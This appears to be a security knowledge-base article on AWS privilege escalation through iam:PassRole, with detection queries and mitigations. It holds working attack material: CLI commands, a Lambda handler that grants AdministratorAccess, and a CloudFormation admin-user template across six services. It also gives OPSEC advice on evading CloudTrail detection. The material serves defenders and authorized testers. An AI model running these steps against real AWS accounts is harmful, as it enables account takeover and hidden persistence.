How it works
Many AWS services act with an IAM role that is handed to them: a Lambda function has an execution role, an EC2 instance has an instance profile, a Glue job, an ECS task and a CodeBuild project each run under a role, and CloudFormation can deploy a stack with a service role. Such a role is a workload identity. The principal that configures the resource names the role, and the service later assumes it.
AWS guards that step with one permission, iam:PassRole. When an API call carries a role, the service checks that the caller may pass that role. The check answers "may this caller give this role to a service", and nothing else. It does not compare the role's permissions with the caller's. A principal that may pass a role more powerful than itself, and may also create or change a resource that runs code, gets that role's permissions without ever assuming it. This is privilege escalation by delegation, close in spirit to service account impersonation on other platforms.
Three conditions must hold for a role to be usable this way: the role and the caller are in the same account, the role's trust policy names the receiving service, and the caller's iam:PassRole grant covers the role (and any iam:PassedToService condition matches the service).
The attack is one pattern with a variant per receiving service:
| Service | Call that receives the role | Trusted service principal | How the attacker's code runs |
|---|---|---|---|
| Lambda | CreateFunction, UpdateFunctionConfiguration |
lambda.amazonaws.com |
Function code, started with Invoke or an event source |
| EC2 | RunInstances, AssociateIamInstanceProfile, ReplaceIamInstanceProfileAssociation |
ec2.amazonaws.com |
User data at launch, or any shell on the instance |
| Glue | CreateJob, UpdateJob, CreateDevEndpoint, CreateSession |
glue.amazonaws.com |
Job script, endpoint shell or session statements |
| CloudFormation | CreateStack, UpdateStack, CreateChangeSet |
cloudformation.amazonaws.com |
No code: the template's resources are created with the role |
| ECS | RunTask or StartTask with a task role override, RegisterTaskDefinition |
ecs-tasks.amazonaws.com |
Container command |
| CodeBuild | CreateProject, UpdateProject, StartBuild with a service role override |
codebuild.amazonaws.com |
Build specification commands |
Some neighbouring paths need no iam:PassRole at all, because the role is already in place. Replacing the code of a Lambda function that has a privileged role (UpdateFunctionCode), operating a CloudFormation stack that kept its service role from an earlier deployment, or adding an SSH key to an existing Glue development endpoint all use a role that somebody else passed.
Prerequisites
- Valid credentials in the target account.
iam:PassRoleon a target role, most often through a grant onResource: "*".- A create or update permission in a receiving service, for example
lambda:CreateFunctionwithlambda:InvokeFunction,ec2:RunInstances,glue:CreateJobwithglue:StartJobRun,cloudformation:CreateStack,ecs:RunTaskorcodebuild:StartBuild. - A role whose trust policy names that service and whose permissions exceed the attacker's.
- A way to make the workload act: an invocation, user data, a job run, or network access to a shell.
- Useful:
iam:ListRolesandiam:GetRoleto find roles by trust policy, andiam:ListAttachedRolePoliciesto rank them.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find a role worth passing
# Trust policy: which service may assume the role?
aws iam get-role --role-name lambda-admin-exec
# Permissions: is it more privileged than the current identity?
aws iam list-attached-role-policies --role-name lambda-admin-exec
Pacu's iam__privesc_scan module checks the current identity's permissions against the known PassRole combinations (Lambda, EC2, Glue, CloudFormation and others):
Pacu > run iam__enum_permissions
Pacu > run iam__privesc_scan
2. Lambda: create a function with the role and invoke it
Function code that uses the execution role to grant the attacker's user administrator access:
# lambda_function.py
import boto3
def lambda_handler(event, context):
boto3.client("iam").attach_user_policy(
UserName="alice",
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess",
)
return "done"
zip function.zip lambda_function.py
aws lambda create-function \
--function-name log-rotation \
--runtime python3.12 \
--zip-file fileb://function.zip \
--handler lambda_function.lambda_handler \
--role arn:aws:iam::111122223333:role/lambda-admin-exec
aws lambda invoke --function-name log-rotation response.json
With lambda:UpdateFunctionConfiguration instead of CreateFunction, the attacker swaps the role on a function it can already edit:
aws lambda update-function-configuration \
--function-name log-rotation \
--role arn:aws:iam::111122223333:role/lambda-admin-exec
3. EC2: launch or re-profile an instance
# Launch with a privileged instance profile; the user data script runs as root at first boot
aws ec2 run-instances \
--image-id <ami-id> \
--instance-type t3.micro \
--iam-instance-profile Name=admin-instance-profile \
--user-data file://userdata.sh
# Or attach the profile to an instance the attacker already has a shell on
aws ec2 associate-iam-instance-profile \
--instance-id <instance-id> \
--iam-instance-profile Name=admin-instance-profile
Software on the instance reads temporary credentials for the role from the instance metadata service. See EC2 instance metadata credential theft.
4. Glue: run a job under the role
aws glue create-job \
--name nightly-etl \
--role glue-admin-role \
--command '{"Name": "pythonshell", "ScriptLocation": "s3://amzn-s3-demo-bucket/job.py"}'
aws glue start-job-run --job-name nightly-etl
The script at ScriptLocation runs with the Glue role and can make any call that role allows.
5. CloudFormation: deploy a template with a service role
A template that creates an administrator user for the attacker:
Resources:
BackupUser:
Type: AWS::IAM::User
Properties:
UserName: svc-backup
ManagedPolicyArns:
- arn:aws:iam::aws:policy/AdministratorAccess
aws cloudformation create-stack \
--stack-name baseline-users \
--template-body file://template.yaml \
--role-arn arn:aws:iam::111122223333:role/cfn-admin-role \
--capabilities CAPABILITY_NAMED_IAM
CloudFormation creates the user with the service role's permissions, not the caller's.
6. ECS and CodeBuild: override the role at run time
# Run an existing task definition with a different task role
aws ecs run-task \
--cluster default \
--task-definition batch-worker \
--overrides '{"taskRoleArn": "arn:aws:iam::111122223333:role/ecs-admin-task-role"}'
# Start a build with a different service role and the attacker's build commands
aws codebuild start-build \
--project-name web-build \
--service-role-override arn:aws:iam::111122223333:role/codebuild-admin-role \
--buildspec-override file://buildspec.yml
Impact
The attacker's code runs with the passed role. If the role is an administrator, the account is compromised: the first invocation can create credentials, attach policies or open a trust policy backdoor. With a narrower role the gain is that role's data and service access.
The resource the attacker created also persists. A function, a scheduled job or a stack with a service role keeps its role until it is deleted, and it can be triggered again later, which makes PassRole a common first step toward Lambda and EventBridge persistence.
OPSEC and artifacts
- No PassRole record. The step that matters leaves no event of its own. The role appears only as a parameter of the receiving service's call, where it looks like every legitimate deployment. This is the main reason detection is hard.
- Act from inside the workload. Operators run their API calls from the function or the instance instead of exporting the role's credentials. Calls then come from AWS address space under the expected role session, and avoid the signal of instance credentials used from an outside address. They are still logged under the role in
userIdentity.sessionContext.sessionIssuer.arn. - Reuse instead of create. Changing the role or code of an existing function, or starting an existing task definition or build project with an override, avoids a new resource in the inventory. The update or run event still carries the new role:
UpdateFunctionConfiguration, RunTask and StartBuild. - Names that fit. Functions, jobs and stacks are named like existing automation. The configuration of the resource, with the role it carries, stays readable until the resource is deleted.
- Clean up. Deleting the function or stack after use removes the configuration, not the CloudTrail records of its creation and deletion. Deleting a stack also deletes the resources it created, so attackers who use a stack to create an identity leave the stack in place or create their backdoor outside it.
- Shared roles hide the workload. If the passed role is also used by legitimate functions or tasks, a later event shows the role and not which workload made the call. Attribution then needs invocation logs, task ids or build ids.
- What always remains: a management event in the receiving service for every create, update, run or start, with the caller, the source address and the request parameters. Lambda logs versioned event names such as
CreateFunction20150331andUpdateFunctionConfiguration20150331v2, so filters on the plain API names miss them. Lambda invocations are data events and are recorded only when a trail selects them.
Detection
Because there is no PassRole event, detection is a set of rules on the receiving services, each reading the role from that service's request:
| Service | CloudTrail events to watch | Where the role appears |
|---|---|---|
| Lambda | CreateFunction20150331, UpdateFunctionConfiguration20150331v2 |
requestParameters.role |
| EC2 | RunInstances, AssociateIamInstanceProfile, ReplaceIamInstanceProfileAssociation |
requestParameters.iamInstanceProfile (a profile name or ARN, to be resolved to its role) |
| Glue | CreateJob, UpdateJob, CreateDevEndpoint, CreateSession |
requestParameters.role |
| CloudFormation | CreateStack, UpdateStack, CreateChangeSet | The request field for the RoleARN parameter; later operations reuse the stack's stored role |
| ECS | RunTask, StartTask, RegisterTaskDefinition |
The task role override in the request, or the task definition |
| CodeBuild | CreateProject, UpdateProject, StartBuild |
The project's service role, or the service role override in the request |
What to alert on:
- A privileged role handed over by a non-deployment principal. Keep a list of roles with administrative or IAM permissions, resolve the role in each event, and alert when the caller is a person or a workload role outside the deployment pipeline. The detection rules for Lambda, EC2 instance profiles and CloudFormation, Glue, ECS and CodeBuild follow this pattern.
- Role more privileged than the caller. The strongest logic compares the passed role's policies with the caller's. It needs an inventory join, not a log filter.
- Run-time overrides. A task role override on
RunTaskor a service role or build specification override onStartBuildis unusual outside schedulers that do it every time. - First use of the role by a new workload. After the configuration event, IAM writes or broad reads under the role's session that the role never made before.
- Create, use, delete. A function, job or stack that exists for minutes.
-- Athena, CloudTrail table: calls that hand a role to a compute service
SELECT eventtime, eventsource, eventname, useridentity.arn AS caller,
coalesce(json_extract_scalar(requestparameters, '$.role'),
json_extract_scalar(requestparameters, '$.roleARN'),
json_extract_scalar(requestparameters, '$.iamInstanceProfile.name'),
json_extract_scalar(requestparameters, '$.iamInstanceProfile.arn')) AS passed_role_or_profile,
sourceipaddress, errorcode
FROM cloudtrail_logs
WHERE eventtime >= '2026-11-28T00:00:00Z'
AND ((eventsource = 'lambda.amazonaws.com'
AND (eventname LIKE 'CreateFunction%' OR eventname LIKE 'UpdateFunctionConfiguration%'))
OR (eventsource = 'ec2.amazonaws.com'
AND eventname IN ('RunInstances', 'AssociateIamInstanceProfile', 'ReplaceIamInstanceProfileAssociation'))
OR (eventsource = 'glue.amazonaws.com'
AND eventname IN ('CreateJob', 'UpdateJob', 'CreateDevEndpoint', 'CreateSession'))
OR (eventsource = 'cloudformation.amazonaws.com'
AND eventname IN ('CreateStack', 'UpdateStack', 'CreateChangeSet'))
OR (eventsource = 'ecs.amazonaws.com' AND eventname IN ('RunTask', 'StartTask'))
OR (eventsource = 'codebuild.amazonaws.com'
AND eventname IN ('CreateProject', 'UpdateProject', 'StartBuild')))
ORDER BY eventtime
The query is a starting point. The field paths for the role differ by service and are not all shown in AWS example records, so check them against records from your own trail, and expect most rows to be routine deployments until the pipeline roles are excluded.
Mitigation
- Scope
iam:PassRoleby resource. ReplaceResource: "*"with the ARNs or the name prefix of the roles a principal is meant to deploy, as the AWS IAM User Guide shows. AWS warns that a user should not be able to pass a role that has more permissions than the user is meant to have. - Bind each grant to a service with the
iam:PassedToServicecondition key, so that a role built for Lambda cannot be handed to EC2 or Glue. - Keep service roles narrow. A role that trusts a service and carries
AdministratorAccessis the precondition for every variant. Give each function, job and stack its own role with the permissions it needs, and review each over-permissioned IAM role that a service can assume. - Separate who edits workloads from who operates them. Permission to update function code, start builds with overrides or operate stacks that retain a powerful service role is equivalent to holding that role.
- Apply permissions boundaries to roles that developers create, so that a passed role cannot exceed the boundary. See permissions boundary removal for the limits of that control.
- Use service control policies to deny
iam:PassRoleon named administrative roles for every principal except the deployment role. - Log what CloudTrail leaves out. Select Lambda invocation data events for sensitive functions and keep build and job logs, so that a shared role can be traced to a workload. Apply least privilege to the roles first: logging explains an incident, it does not prevent one.
Detection rules for this attack
Log events to collect
FAQ
Is there a PassRole event in CloudTrail?
No. iam:PassRole is a permission that a service checks when it receives a role, not an API operation, and AWS states that no CloudTrail record is generated for it. The evidence is the receiving service's own event, such as CreateFunction, RunInstances or CreateStack, where the role appears as a request parameter.
Does the caller get the role's credentials?
Not directly. The service assumes the role and gives the credentials to the function, instance, job, task or build. The attacker controls the code that runs there, so it either makes API calls from inside the workload or has the workload send the temporary credentials out.
Can any role be passed to any service?
No. The role's trust policy must name the receiving service, for example lambda.amazonaws.com, and the role must be in the same account as the service resource. An administrator role that only trusts people cannot be passed to Lambda. Roles built for powerful automation, which trust a service and carry broad policies, are the targets.
What is the most effective single control?
Never grant iam:PassRole on Resource *. List the role ARNs a principal may pass and add the iam:PassedToService condition so that each role can only go to the service it was built for. With that in place, a principal can hand over only the roles it was meant to deploy.
References
- Grant a user permissions to pass a role to an AWS service (AWS IAM User Guide)
- Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access, T1548.005 (MITRE ATT&CK)
- AWS CloudFormation service role (AWS CloudFormation User Guide)
- IAM roles for Amazon EC2 (Amazon EC2 User Guide)
- Logging AWS Lambda API calls using AWS CloudTrail (AWS Lambda Developer Guide)
- Amazon ECS task IAM role (Amazon ECS Developer Guide)
- AWS IAM Privilege Escalation: Methods and Mitigation (Rhino Security Labs)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.